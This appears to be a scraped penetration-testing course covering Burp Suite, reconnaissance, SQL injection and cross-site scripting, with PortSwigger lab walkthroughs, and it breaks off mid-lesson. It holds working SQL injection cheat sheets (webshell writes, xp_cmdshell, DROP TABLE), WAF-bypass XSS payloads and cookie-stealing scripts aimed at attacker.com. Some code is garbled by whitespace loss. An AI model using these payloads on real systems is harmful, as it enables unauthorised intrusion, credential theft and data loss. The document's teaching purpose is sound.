You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Module 1: Burp Suite Fundamentals + HTTP/Web Basics
Lesson 1: The Web Attack Lab Setup
Why Burp Suite?
Burp Suite is the industry-standard tool for web application penetration testing. Every writeup from Bug Bounty World Cup winners mentions it. PortSwigger (the company behind Burp) maintains the Web Security Academy — free, hands-on, and the closest thing to a structured curriculum exists.
Tools you'll need:
Kali Linux (or Parrot OS) — comes with Burp Suite pre-installed
Burp Suite Professional (or Community Edition — enough for most modules)
Firefox with FoxyProxy Standard addon
A vulnerable target: PortSwigger's Web Security Academy labs, HackTheBox, or DVWA
Lab target options:
Target
URL
Difficulty
Notes
PortSwigger Academy
portswigger.net/web-security
Beginner→Advanced
Free labs, best content
DVWA
dvwa.co.uk
Beginner
Classic, self-hosted
HackTheBox
hackthebox.eu
Intermediate→Advanced
Has web challenges
PentesterLab
pentesterlab.com
Beginner→Pro
Excellent for SQLi, XXE
Installing Burp Suite on macOS/Linux
# Download from PortSwigger
wget https://portswigger.net/burp/releases/download?product=community&version=2024.1.1&type=linux
chmod +x burpsuite_community_linux_v2024_1_1.sh
./burpsuite_community_linux_v2024_1_1.sh
# Or use Java directly
java -jar burpsuite_community.jar
# Verify
java -version # Need JDK 11+
Firefox + FoxyProxy Setup
Install FoxyProxy Standard from Firefox Add-ons
Configure proxy:
Proxy Type: HTTP
Host: 127.0.0.1
Port: 8080
Enable Burp Suite's proxy listener:
Go to Proxy → Options → Proxy Listeners
Check "Running" on 127.0.0.1:8080
Under "Intercept Client Requests" ensure enabled
Visit any HTTP site — requests now flow through Burp
Your First Interception
Open Burp Suite → Proxy → Intercept
Click "Intercept is on"
Open Firefox → visit http://example.com
Watch the request appear in Burp
Click "Forward" to let it through, or "Drop" to block
This is the foundation. Every exploit starts here — understanding what data flows between client and server.
Lesson 2: HTTP Protocol Deep Dive
The Request/Response Cycle
Every web exploit is an abuse of HTTP semantics. Know this cold.
Why it exists: Modify and resend requests without leaving Burp.
Select any request in Proxy history → right-click → "Send to Repeater"
In Repeater: edit raw request, headers, body
Click "Send" — get fresh response
Compare responses side-by-side
Real-world use case:
Original: GET /profile?id=1
Bounty hunter sees admin data in response
Test: GET /profile?id=2
GET /profile?id=-1
GET /profile?id=1' OR '1'='1
GET /profile?id=9999999
Every SQLi test, every IDOR check, every parameter fuzz — this is where you do it.
Intruder — Mass Parameter Fuzzing
Four attack types:
Sniper — Use one payload set, one position at a time
Battering Ram — Same payload set, all positions at once
Pitchfork — Multiple payload sets, iterate in parallel
Cluster Bomb — Multiple payload sets, full cross-product
Practical example — Password Spraying:
Position: username §admin§
Payload set 1 (usernames):
admin
administrator
root
test
guest
Payload set 2 (passwords):
password
admin123
Password1!
letmein
qwerty
Battering ram (one position): test all passwords against "admin"
Cluster bomb (two positions): test all combinations
Payload types:
Simple list
Runtime file
Numbers (brute force)
Dates
Character substitution (for mutation)
Custom extension scripts
Decoder — Encoding/Decoding
Supports:
URL encoding/decoding
HTML encoding/decoding
Base64
Hex
ASCII
Multiple rounds of encoding
Why this matters:
User input: <script>alert(1)</script>
URL encoded: %3Cscript%3Ealert(1)%3C/script%3E
Double encoded: %253Cscript%253Ealert(1)%253C/script%253E
HTML entities: <script>alert(1)</script>
WAFs often decode once. Double-encode bypasses them.
Comparer — Spot the Differences
Two responses side-by-side, differences highlighted. Essential for:
SQL injection boolean-based: what's different between true/false?
Target → Site Map → right-click host → "Spider this host"
Set scope: Target → Scope → add your target
Filter: show only in-scope, hide images/CSS/JS
Discovery checklist:
□ Check for debug endpoints: /debug, /admin/debug, /actuator
□ Check for API documentation: /api, /swagger, /docs, /graphiql
□ Check for backup files: /backup, /~backup, /old, /.git/config
□ Check for common paths: /phpmyadmin, /admin, /wp-admin
□ Check for exposed files: /robots.txt, /sitemap.xml, /.well-known/
□ Check for tech-specific paths: /.env, /config.php.bak, /web.config
Technology Fingerprinting
Headers to examine:
Server: Apache/2.4.41 (Ubuntu) # Web server version
X-Powered-By: PHP/7.4.33 # Backend language
X-AspNet-Version: 4.0.30319 # ASP.NET
X-Generator: Drupal 9 # CMS
Response patterns:
Default Apache page → Ubuntu server
IIS 404 → Windows + IIS
ASP.NET session cookies → .NET stack
__cfduid cookie → Cloudflare proxy
PHPSESSID cookie → PHP
JSESSIONID → Java (Tomcat/WebLogic)
NOPARKING → WordPress
WordPress-Specific Enumeration
# Detect WordPress
curl -s http://target.com | grep -i "wordpress"
wpscan --url http://target.com --enumerate u
# Version detection
curl -s http://target.com/wp-links-opml.php | head -5
curl -s http://target.com/wp-json/wp/v2/ | jq .version
# User enumeration via author archiveforiin {1..20};do
curl -s -o /dev/null -w "%{http_code}""http://target.com/?author=$i"echo" author=$i"done# Plugin enumeration
wpscan --url http://target.com --enumerate p --plugins-detection aggressive
# Theme enumeration
wpscan --url http://target.com --enumerate t
Lesson 5: Burp Suite Workflow — Your Methodology
The 5-Phase Web Testing Flow
Phase 1: Recon → Passive + active enumeration
Phase 2: Mapping → Spider, discover hidden content
Phase 3: Vulnerability → Test each attack surface
Phase 4: Exploitation → Confirm and demonstrate impact
Phase 5: Documentation → Clean evidence, professional report
Phase 1: Quick Recon (15 minutes)
# 1. Nmap for open web ports
nmap -p 80,443,8080,8443 -sV -oA web_scan target.com
# 2. Subdomain fuzz
ffuf -w /usr/share/wordlists/subdomains.txt -u https://target.com -H "Host: FUZZ.target.com" -o ffuf.json
# 3. Screenshot everythingecho"target.com"| sed 's/$/\ntest.target.com\nadmin.target.com\napi.target.com/'| aquatone
# 4. Wayback Machine for historical dataecho"target.com"| waybackurls | grep -E '\.(js|css|php|asp|aspx|jsp)'| sort -u
Phase 2: Mapping in Burp
Set scope — Target → Scope → add target regex
Spider — Right-click host → Spider, let it run
Manually browse — Browse with proxy on, visit every link
Check for APIs — Target → Site Map → filter for /api/
Phase 3: Vulnerability Testing Order
Priority 1 (Highest impact, fast to test):
□ SQL Injection → Always test first
□ Broken Authentication → If creds found
□ IDOR → If IDs/UUIDs in URLs/params
□ XXE → If XML upload/parsing
Priority 2 (High impact, moderate test time):
□ XSS → Reflected first, then stored
□ CSRF → If state-changing actions lack tokens
□ SSRF → If URL parameters exist
□ Command Injection → If system() calls in backend
Priority 3 (Medium impact, thorough testing):
□ File Upload → Test all file types
□ Path Traversal → If file path parameters exist
□ Open Redirect → If redirect params exist
□ WebSocket → If real-time features
Phase 4: Professional Evidence
Every finding needs:
Steps to reproduce — Exact request/response
Proof of concept — Screenshot or curl command
Impact assessment — What can an attacker actually do?
Remediation — Specific fix, not generic advice
Example SQLi finding:
Title: Time-based SQL Injection in product search
Severity: Critical
URL: POST https://shop.target.com/search
Parameter: q
Steps to reproduce:
1. With Burp proxy on, submit search with payload: q=test' AND (SELECT 1 FROM users WHERE username='admin' AND LENGTH(password)>1) AND '1'='1
2. Original response time: ~200ms
3. With LENGTH(password)>40: ~5000ms (5 second delay confirmed)
4. This confirms time-based blind SQLi in MySQL backend
Impact: An attacker can exfiltrate entire database including user credentials.
All customer PII, payment records accessible.
Remediation: Use parameterized queries. Input validation. Least privilege on DB user.
Exercise 1: DVWA Brute Force with Burp Suite
Objective: Brute force the DVWA login page using Burp Intruder.
In Burp → Proxy → HTTP History → find the POST request
Right-click → Send to Intruder
In Intruder → Positions → Clear all → select username and password values
Set attack type: Cluster Bomb
Payload set 1 (usernames): admin, root, test, user, administrator
Payload set 2 (passwords): password, admin, test123, letmein, qwerty
Start attack
Sort results by Length — the correct creds will have different length
Verify: response contains "Welcome to the Damn Vulnerable Web App"
Expected output: Successful login with admin:password
Exercise 2: IDOR Discovery in Burp History
Objective: Find an Insecure Direct Object Reference in a sample API.
Setup: Target is http://api.test.com
Steps:
Browse the API normally — create an account, view your profile
In Burp → Proxy → HTTP History → filter to your target
Look for requests with numeric IDs: /api/profile/1, /api/orders/123
Right-click one → Send to Repeater
Change the ID: /api/profile/2, /api/profile/3
If you see another user's data → IDOR confirmed
Document with screenshot of both responses
Expected output: Access to another user's profile data by changing ID parameter
Summary Table
Lesson
Topic
Key Tool
Time
1
Lab Setup
Burp + Firefox/FoxyProxy
30 min
2
HTTP Deep Dive
Manual inspection
45 min
3
Burp Tools
Repeater, Intruder, Decoder
60 min
4
Information Gathering
Recon, Wappalyzer, nmap
45 min
5
Methodology
Full workflow
90 min
Quick Reference: Burp Suite Keyboard Shortcuts
Shortcut
Action
Ctrl+R
Send to Repeater
Ctrl+I
Send to Intruder
Ctrl+Shift+R
Send to Decoder
Ctrl+D
Send to Comparer
Ctrl+F
Find in current view
Ctrl+Shift+T
Open Target tab
Ctrl+Shift+P
Open Proxy tab
Ctrl+Shift+I
Open Intruder tab
Ctrl+Shift+R
Open Repeater tab
Ctrl+Shift+L
Open Logger tab
Next Module: SQL Injection — Union, Boolean-based, Time-based blind, and Error-based techniques. We'll exploit PortSwigger's labs step by step.
Module 2: SQL Injection — The Complete Guide
Lesson 6: SQL Injection Fundamentals
What is SQL Injection?
SQL Injection (SQLi) is the art of injecting malicious SQL code into queries executed by a web application. It occurs when user input is concatenated directly into SQL queries without proper sanitization or parameterization.
Why it matters:
#3 on OWASP Top 10 almost every year
Can lead to: data breach, data manipulation, authentication bypass, remote code execution
One of the highest-paying bug classes in bug bounty programs
Still found in production code regularly
The Root Cause
Vulnerable code (PHP):
// DANGEROUS: Direct concatenation$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
$result = mysqli_query($conn, $query);
// What an attacker submits:// username: admin' --$query = "SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'";
// Result: Authenticated as admin without knowing password
Vulnerable code (Python/Flask):
# DANGEROUS: String formattingquery=f"SELECT * FROM products WHERE category = '{request.args.get('category')}'"cursor.execute(query)
//Attackerpayload: category=' OR '1'='1//Result: SELECT*FROMproductsWHEREcategory=''OR'1'='1'//ReturnsALLproducts
Safe code:
// PARAMETERIZED QUERY$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
# PARAMETERIZED QUERYquery="SELECT * FROM products WHERE category = %s"cursor.execute(query, (category,))
Types of SQL Injection
Type
Description
Detection Difficulty
In-Band
Data extracted via same channel
Easy
Blind
No data returned, infer via behavior
Medium
Out-of-Band
Data via DNS/HTTP channels
Hard
In-Band subtypes:
Union-based — Append results via UNION
Error-based — Force DB errors to reveal data
Blind subtypes:
Boolean-based — True/false responses
Time-based — DELAY() to infer data
Lesson 7: Detecting SQL Injection
Finding Injection Points
Test every parameter:
Query parameters: /search?q=
Path parameters: /product/1
POST body: username=, email=
Headers: User-Agent=, Cookie=
JSON body: {"id": 1}
XML body: <id>1</id>
Detection payloads (URL encode):
' → Try to break out of string context
" → Double-quote variant
\' → Escaped quote
") → Close parenthesis + quote
' OR '1'='1 → Always-true condition
' OR 1=1 -- → Always-true with comment
' OR 'a'='a' → Always-true (quote-safe)
" OR "a"="a" → Double-quote variant
\ → Backslash escape
) OR 1=1 → Close parenthesis
' WAITFOR DELAY '00:00:05' -- → Time-based (MSSQL)
' AND SLEEP(5) -- → Time-based (MySQL)
Detection via Boolean Differences
Workflow in Burp:
Send baseline request — note response size/time
Inject always-true: ' OR '1'='1
Inject always-false: ' AND '1'='2
Compare responses
If always-true returns data but always-false returns empty/error → SQLi confirmed.
Detection via Time Delays
MySQL:
' AND SLEEP(5) --
' AND (SELECT SLEEP(5)) --
PostgreSQL:
' AND PG_SLEEP(5) --
' AND (SELECT pg_sleep(5)) --
Unclosed quotation mark after the character string 'admin'.
Bad error: Generic 500 error, no SQL info leaked
PortSwigger lab: "SQL injection vulnerability confirmed in the product category filter. The database appears to be MySQL."
Lesson 8: Union-Based SQL Injection
How UNION Works
The UNION operator combines results of two or more SELECT statements. Requirements:
Same number of columns in each SELECT
Compatible data types
Finding columns with ORDER BY:
' ORDER BY 1 --'ORDER BY2--' ORDER BY 3 --'ORDER BY4--' ORDER BY 5 --
Keep incrementing until you get no error and then error on next. If ORDER BY 4 errors → 3 columns.
Finding columns with UNION SELECT:
' UNION SELECT NULL --'UNIONSELECTNULL,NULL--' UNION SELECT NULL,NULL,NULL --
Error on NULL count → adjust until no error.
Determining column types:
' UNION SELECT 'a',NULL,NULL --'UNIONSELECTNULL,'a',NULL--' UNION SELECT NULL,NULL,'a' --
Non-null columns accept string data.
Extracting Data
MySQL information_schema:
' UNION SELECT NULL, NULL, version() --'UNIONSELECTNULL, user(), NULL--' UNION SELECT NULL, database(), NULL --'UNIONSELECT table_name, NULL, NULLFROMinformation_schema.tables--' UNION SELECT column_name, table_name, NULL FROM information_schema.columns WHERE table_name='users' --
Classic data extraction:
' UNION SELECT username, password, NULL FROM users --
Practical Example: PortSwigger Lab
Lab: SQL injection vulnerability on product category filter
Step 1: Find column count
GET /filter?category=Gifts' ORDER BY 3--
→ 200 OK
GET /filter?category=Gifts' ORDER BY 4--
→ 500 Internal Server Error
→ 3 columns
Step 2: Determine which columns display data
GET /filter?category=Gifts' UNION SELECT NULL, NULL, 'a'--
→ Error (type mismatch)
GET /filter?category=Gifts' UNION SELECT 'a', 'b', 'c'--
→ 200 OK, first column displays data
Step 3: Extract database version
GET /filter?category=Gifts' UNION SELECT NULL, @@version, NULL--
→ Microsoft SQL Server 2019
Step 4: Extract table names
GET /filter?category=Gifts' UNION SELECT NULL, table_name, NULL FROM information_schema.tables--
→ users, products, orders...
Step 5: Extract column names from users table
GET /filter?category=Gifts' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--
→ user_id, username, password, email...
Step 6: Extract credentials
GET /filter?category=Gifts' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users--
→ administrator:0c36131ca908a9c4007088ce0a173989 (hash)
Sometimes the application doesn't display results. You get:
Generic "No results found"
Same page for true and false (but different response codes)
No error messages
No visible output
This is where blind SQLi shines. You don't see data — you infer it.
Boolean-Based Blind SQLi
Principle: Inject a condition. If true, page behaves one way. If false, different.
Test:
Original: GET /article?id=1
True: GET /article?id=1 AND 1=1
False: GET /article?id=1 AND 1=2
If "true" returns normal article and "false" returns empty/error → blind SQLi confirmed.
Exploitation — Character-by-character extraction:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --
You iterate through each character position, testing ASCII values. Scripted, this takes minutes.
Substring extraction:
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 100 --'AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) >50--' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97 -- → 'a'
Time-Based Blind SQLi
Principle: Inject a delay. If the response takes longer, the condition was evaluated (true).
MySQL:
' AND IF(1=1, SLEEP(5), 0) --'AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
PostgreSQL:
' AND CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 0 END --'AND (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN PG_SLEEP(5) ELSE 0 END) --
MSSQL:
'; IF (1=1) WAITFOR DELAY '00:00:05'--'; IF (SUBSTRING(@@version,1,1)='M') WAITFOR DELAY '00:00:05'--
Detection:
' AND (SELECT COUNT(*) FROM users) > 0 --'AND (SELECT LENGTH(password) FROM users WHERE username='admin') >8--
If the condition is true → delay occurs → condition is true.
Expected output:Database version: PostgreSQL 13.5 (or whatever the lab uses)
Summary Table
Lesson
Topic
Key Technique
Tool
6
SQLi Fundamentals
Detection payloads
Manual
7
Detection Methods
Boolean + Time delay
Burp Repeater
8
Union-Based SQLi
UNION SELECT
Burp + SQLMap
9
Blind SQLi
Substring extraction
SQLMap
10
Context Variations
POST/JSON/Header/Cookie
SQLMap
Cheat Sheet: SQL Injection Payloads by DB Type
MySQL/MariaDB
' OR '1'='1' UNION SELECT NULL--'UNIONSELECT table_name FROMinformation_schema.tables--' AND (SELECT COUNT(*) FROM users) > 0'AND SLEEP(5)--' AND IF(1=1, SLEEP(5), 0)--' INTO OUTFILE '/var/www/html/shell.php'--
PostgreSQL
' OR '1'='1' UNION SELECT NULL--'UNIONSELECTNULL,NULL,NULL--' AND PG_SLEEP(5)--'AND (SELECT pg_sleep(5))--'; DROP TABLE users--
MSSQL
' OR '1'='1'; WAITFOR DELAY '00:00:05'--'; EXEC xp_cmdshell 'whoami'--'; SELECT * FROM users FOR XML PATH--'; DBCC CHECKDB ('master')--
Oracle
' OR '1'='1' UNION SELECT NULL FROM DUAL--'AND1=DBMS_PIPE.RECEIVE_MESSAGE('RDS', 5)--'; SELECT banner FROM v$version--'; SELECT table_name FROM all_tables--
Next Module: Cross-Site Scripting (XSS) — Reflected, Stored, DOM-based, plus CSRF. We'll cover cookie theft, keylogging, and real-world attack scenarios.
Module 3: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)
Introduction
In this module, we explore two of the most prevalent and impactful web vulnerabilities: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). While SQL injection allows attackers to manipulate database queries, XSS and CSRF target the trust relationship between a web application and its users' browsers. Understanding these vulnerabilities is critical for both offensive security testing and defensive coding.
XSS vulnerabilities appear in approximately 45% of web applications tested by security researchers, according to OWASP survey data. The impact ranges from simple page defacement to complete account takeover through session hijacking. CSRF, while slightly less prevalent, remains a serious threat that can force authenticated users to perform unintended actions without their knowledge.
This module provides comprehensive coverage of XSS variants (reflected, stored, and DOM-based), detection techniques, filter bypass methods, and practical exploitation scenarios. We then transition into CSRF fundamentals, token-based defenses, and advanced bypass techniques. Each lesson includes real-world examples, code samples, and hands-on lab walkthroughs.
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. Unlike SQL injection, which targets the backend database, XSS exploits the trust that a user's browser places in a website. When a vulnerable application includes attacker-controlled data in a web page without proper sanitization, the victim's browser will execute the malicious script as if it originated from the legitimate website.
The fundamental problem is that browsers cannot distinguish between scripts that legitimately belong to a website and scripts that were injected by an attacker. This trust relationship is the cornerstone of XSS exploitation.
Core vulnerability pattern:
// Vulnerable code: user input directly placed into HTMLdocument.getElementById('welcome').innerHTML="Welcome, "+userInput;
If an attacker provides <img src=x onerror=alert(1)> as their username, the browser will execute the JavaScript when that page is rendered.
Three Types of XSS
XSS vulnerabilities are categorized into three distinct types based on how the malicious script is delivered and executed.
Reflected XSS occurs when user input is immediately returned by a web application without proper sanitization. The attack is not persistent; it exists only when the victim clicks a specially crafted link. Search functions that display search terms, error messages that echo user input, and URL parameters that are displayed back to the user are common injection points.
Example scenario: A search engine displays "Results for: [user input]" on the results page. When an attacker crafts a URL with a malicious script in the search parameter and tricks a victim into clicking it, the script executes in the victim's browser.
Stored XSS (also called Persistent XSS) occurs when user input is stored on the server (typically in a database) and later served to other users without proper sanitization. This is the most dangerous type because the attack automatically affects every user who views the affected content. Blog comments, forum posts, user profiles, product reviews, and messaging systems are common targets.
Example scenario: An attacker posts a comment containing <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> on a blog. Every visitor who views that comment will have their session cookies sent to the attacker's server.
DOM-based XSS occurs when client-side JavaScript processes user input and writes it to a dangerous sink (like innerHTML or document.write) without proper sanitization. The key difference from reflected XSS is that the malicious input never reaches the server in some variants—the attack happens entirely on the client side.
Example scenario: A page uses JavaScript to read a parameter from the URL and display it using document.write(). No server-side code is involved in generating the vulnerable output.
How Browsers Execute JavaScript
Understanding how browsers parse and execute HTML and JavaScript is essential for effective XSS testing and exploitation. Browsers use HTML parsers that build a Document Object Model (DOM) tree from raw HTML markup. When the parser encounters a <script> tag, it immediately fetches and executes the referenced JavaScript before continuing to parse the rest of the document.
Event handler execution: HTML elements can have event attributes that execute JavaScript when specific events occur. The browser executes these handlers when the specified event happens (click, mouseover, error, etc.).
<!-- Executes on click --><buttononclick="alert('XSS')">Click me</button><!-- Executes on page load --><bodyonload="alert('XSS')"><!-- Executes when image fails to load --><imgsrc="invalid.jpg" onerror="alert('XSS')"><!-- Executes on mouse over --><divonmouseover="alert('XSS')">Hover here</div>
SVG execution: Scalable Vector Graphics (SVG) is an XML-based image format that can contain embedded JavaScript. When the browser renders an SVG document, any embedded scripts execute in the context of the page embedding it.
<!-- SVG with embedded script --><svgonload="alert('XSS')"><rectwidth="100" height="100"/></svg>
Payload delivery through different vectors:
<!-- Standard script injection --><script>alert(1)</script><!-- Event handler injection --><imgsrc=xonerror=alert(1)><!-- SVG injection --><svgonload=alert(1)><!-- Body event handler --><bodyonload=alert(1)><!-- iframe with srcdoc --><iframesrcdoc="<script>alert(1)</script>"><!-- object data attribute --><objectdata="data:text/html,<script>alert(1)</script>"><!-- embed tag --><embedsrc="data:text/html,<script>alert(1)</script>">
Basic XSS Detection
Detecting XSS vulnerabilities requires systematic testing with payloads designed to trigger JavaScript execution. The most reliable detection method is injecting a payload that executes JavaScript and observing the result.
Fundamental detection payload:
<script>alert(1)</script>
If this payload executes (by displaying an alert dialog), the page is vulnerable to XSS. The alert(1) function is chosen because it is a simple, harmless JavaScript call that produces a visible result without causing damage.
Image tag onerror handler:
<imgsrc=xonerror=alert(1)>
This payload exploits the onerror event handler of the img element. When the browser attempts to load an image from source "x" (which doesn't exist), the onerror event fires and executes the JavaScript.
Identify all user input points (parameters, headers, body content)
Inject a basic XSS payload into each input point
Observe whether the payload is reflected in the response
Verify execution by checking for alert dialogs or using developer tools
Document the context in which the payload executed (HTML body, attribute, URL, etc.)
Reflection detection in Burp Suite:
Use the "Find comments" and "Find scripts" features to locate reflected input
Check the HTTP response for your payload in the raw response
Note the encoding and context of the reflection
Why XSS Works: The Root Cause
XSS vulnerabilities arise from a fundamental failure: treating user input as trusted content. When an application takes data from users and includes it in web pages without proper validation and encoding, attackers can inject malicious scripts.
Vulnerable code pattern (PHP):
// User input directly inserted into HTMLecho"Welcome, " . $_GET['username'];
// Generated HTML:// Welcome, <script>alert(1)</script>// Browser executes the script
Vulnerable code pattern (JavaScript/Node.js):
// Express.js exampleapp.get('/search',(req,res)=>{res.send('<h1>Results for: '+req.query.term+'</h1>');});// req.query.term is directly inserted without encoding
Safe code pattern:
// Using htmlspecialchars for HTML contextecho"Welcome, " . htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');
// Generated HTML:// Welcome, <script>alert(1)</script>// No script execution occurs
Safe code pattern (JavaScript):
// Using textContent instead of innerHTMLelement.textContent=req.query.term;// Or encoding before innerHTML insertionfunctionencodeForHTML(str){returnstr.replace(/[&<>"']/g,char=>({'&': '&','<': '<','>': '>','"': '"',"'": '''})[char]);}element.innerHTML=encodeForHTML(req.query.term);
Real Impact of XSS
The impact of XSS extends far beyond simple alerts or page defacement. A successful XSS attack can lead to complete compromise of user accounts, theft of sensitive data, and persistent access to victim browsers.
Cookie theft and session hijacking:
<!-- Attacker injects this script --><script>document.location='https://attacker.com/steal?cookie='+document.cookie;</script>
When this script executes in a victim's browser, their session cookie is sent to the attacker's server. The attacker can then use this cookie to impersonate the victim and take over their account. This is why HttpOnly flags on session cookies are critical—they prevent JavaScript from accessing cookie values.
Every keystroke in the affected page is sent to the attacker's server. This can capture passwords, credit card numbers, personal messages, and other sensitive information.
Page defacement:
<script>document.body.innerHTML='<h1>This site has been hacked</h1>';</script>
The attacker can completely modify the visual appearance of the page, damaging the website's reputation and potentially displaying phishing forms to steal credentials.
XSS can be combined with CSRF to perform actions on behalf of authenticated users. The script triggers a request to the target site with the victim's credentials, performing unauthorized actions.
In browser contexts with access to internal networks (such as when the vulnerable site is on an internal network), XSS can be used to scan and attack internal systems.
Reflected XSS is the most common XSS variant, accounting for approximately 70% of all XSS vulnerabilities. The name derives from the behavior where user input is "reflected" back to the user in the response without being stored on the server. This means each attack requires the victim to click a specially crafted link.
The attack chain begins when an attacker creates a malicious URL containing an XSS payload in a parameter. The attacker then tricks a victim into clicking this link. When the victim clicks the link, their browser sends a request to the vulnerable website. The website processes the request, reflects the malicious input in the response, and the victim's browser executes the injected script.
Common injection points:
Search query parameters
Error message displays
URL path parameters
Form field submissions
Any parameter whose value is displayed in the response
Vulnerable application flow:
1. User requests: https://site.com/search?q=<script>alert(1)</script>
2. Server receives: q = "<script>alert(1)</script>"
3. Server generates response with: "Results for: <script>alert(1)</script>"
4. Browser receives HTML with script tag
5. Browser executes script
URL Parameter Injection
URL parameter injection is the primary method for delivering reflected XSS attacks. Understanding URL structure and parameter handling is essential for effective testing.
The query string (everything after the ?) contains parameter name-value pairs separated by &. Special characters in URLs must be percent-encoded to avoid interpretation as delimiters or special characters.
Percent-encoding reference:
Character
Encoded
Character
Encoded
space
%20
<
%3C
"
%22
>
%3E
#
%23
&
%26
%
%25
=
%3D
+
%2B
/
%2F
Testing workflow:
Identify the parameter to test
Insert a basic XSS payload
Encode special characters
Send the request
Examine the response for payload reflection
Verify script execution
Manual testing example:
Original URL: https://site.com/search?q=coffee
Test payload: https://site.com/search?q=<script>alert(1)</script>
Encoded: https://site.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
Tools for parameter manipulation:
Burp Suite Repeater: Manually modify parameters and examine responses
OWASP ZAP: Automated scanning with parameter fuzzing
Browser developer tools: Inspect DOM for reflection points
Testing in Burp Suite
Burp Suite is the industry-standard tool for web application testing, and its features are particularly useful for XSS testing.
Setting up proxy interception:
Configure browser to use Burp as proxy (localhost:8080)
Enable intercept in Proxy > Intercept
Navigate to the target application
Modify requests before forwarding
Using Repeater for XSS testing:
Right-click any request and "Send to Repeater"
In the Repeater tab, modify parameter values
Add XSS payloads to parameters
Click "Go" to send the request
Examine the response for reflection
Response analysis techniques:
View the raw response to find reflected input
Use "Find" feature to locate your payload
Check the "Pretty" tab for rendered HTML
Use "Render" tab to see visual display
Scanner for automated detection:
Burp Suite Professional includes an active scan feature that automatically tests for XSS vulnerabilities. However, manual testing remains essential because automated scanners miss many vulnerabilities and produce false positives.
Identifying reflection points:
Look for your payload in the response body
Note the HTML context (inside tag, in attribute, in URL, etc.)
Check if characters are encoded or filtered
Determine if the reflection point is in JavaScript context
Burp Professional XSS testing features:
Intruder: Fuzz parameters with payload lists
Comparer: Compare responses with different payloads
Extender: Install XSS-focused extensions
Filter Bypass Techniques
Web applications often implement filters or Web Application Firewalls (WAF) that attempt to block XSS attacks. Understanding common bypass techniques is essential for successful exploitation.
Encoding bypass:
Applications may filter based on literal strings but fail to normalize encoded input.
<!-- HTML entity encoded --><script>alert(1)</script><!-- Decoder will process these when innerHTML is used -->
Case variation bypass:
Filters that use case-sensitive matching can be bypassed with mixed case.
<!-- Blocked if case-sensitive filter --><SCRIPT>alert(1)</SCRIPT><!-- Bypassed with mixed case --><ScRiPt>alert(1)</ScRiPt><!-- Bypassed with uppercase --><SCRIPT>alert(1)</SCRIPT>
Polyglot payloads:
A polyglot is a payload that works in multiple contexts. These are designed to maximize the chance of successful exploitation across different filter implementations.
<!-- XSS polyglot: works in HTML, attribute, and URL contexts -->
javascript:/*--></title></script></style></end tag/</noscript></table></form></select></a></iframe></math></plaintext></svg></poison></裘=?//
<svg/onload=alert(1)>
This payload:
Closes existing tags with </end tag/
Uses </noscript> to escape script contexts
Contains an SVG onload handler at the end that executes
Tag name bypass:
<!-- Using different tags --><imgsrc=xonerror=alert(1)><svgonload=alert(1)><bodyonload=alert(1)><iframesrcdoc="<script>alert(1)</script>"><objectdata="data:text/html,<script>alert(1)</script>"><embedsrc="data:text/html,<script>alert(1)</script>">
Event handler variations:
<!-- Different event handlers --><imgsrc=xonerror=alert(1)><imgsrc=xonload=alert(1)><imgsrc=xonmouseover=alert(1)><svgonload=alert(1)><svgonerror=alert(1)><bodyonload=alert(1)><marqueeonstart=alert(1)><video><sourceonerror=alert(1)><audiosrc=xonerror=alert(1)>
Some parsers stop at null bytes or newlines, allowing the script tag to pass through filters.
Unicode normalization:
<!-- Unicode variations of script --><\x73\x63\x72\x69\x70\x74>alert(1)</\x73\x63\x72\x69\x70\x74>
Browsers may normalize Unicode characters, but server-side filters might not account for this.
Context Matters: Where Your Payload Lands
The context in which your XSS payload is reflected determines which exploitation techniques will work. Different contexts require different payload construction.
HTML body context:
<!-- Payload reflected directly in body content --><div>Your search: <script>alert(1)</script></div><!-- Exploitation: Standard script tag works --><script>alert(1)</script>
HTML attribute context:
<!-- Payload reflected inside an attribute value --><inputvalue="<script>alert(1)</script>"><!-- Exploitation: Close attribute, add new handler -->
" onload="alert(1)
When reflected inside an attribute value, you often need to break out of the attribute to inject event handlers.
URL context:
<!-- Payload reflected in href or src attribute --><ahref="https://site.com< script>alert(1)</script>"><!-- Exploitation: Use javascript: protocol -->
javascript:alert(1)
JavaScript context:
<!-- Payload reflected inside a JavaScript string --><script>varsearch= '<script>alert(1)</script>';
</script><!-- Exploitation: Break out and inject -->
'; alert(1);//
When reflected in JavaScript context, you need to break out of the string literal.
Context detection checklist:
Is the payload inside a tag (body context)?
Is it inside an attribute value?
Is it inside a URL parameter?
Is it inside a JavaScript string?
Is HTML encoding applied?
Are quotes escaped?
PortSwigger Academy Lab: Reflected XSS
PortSwigger Academy provides excellent hands-on labs for learning XSS exploitation. Let's walk through a typical reflected XSS lab.
Lab: Reflected XSS in HTML anchor href attribute
This lab contains a reflected XSS vulnerability in the search feedback feature. The reflection point is in the href attribute of a link, and the response does not encode HTML characters.
Lab: Reflected XSS into attribute with angle brackets HTML-encoded
This lab demonstrates a common scenario where angle brackets are encoded but the payload can still exploit attribute contexts.
Analysis:
Input appears as: <input value="test">
If you try <script>alert(1)</script>, it becomes: <input value="<script>alert(1)</script>">
The script tags are displayed as text, not executed.
This closes the div, adds a script tag, then opens a new div to fix the HTML structure.
Key takeaways from labs:
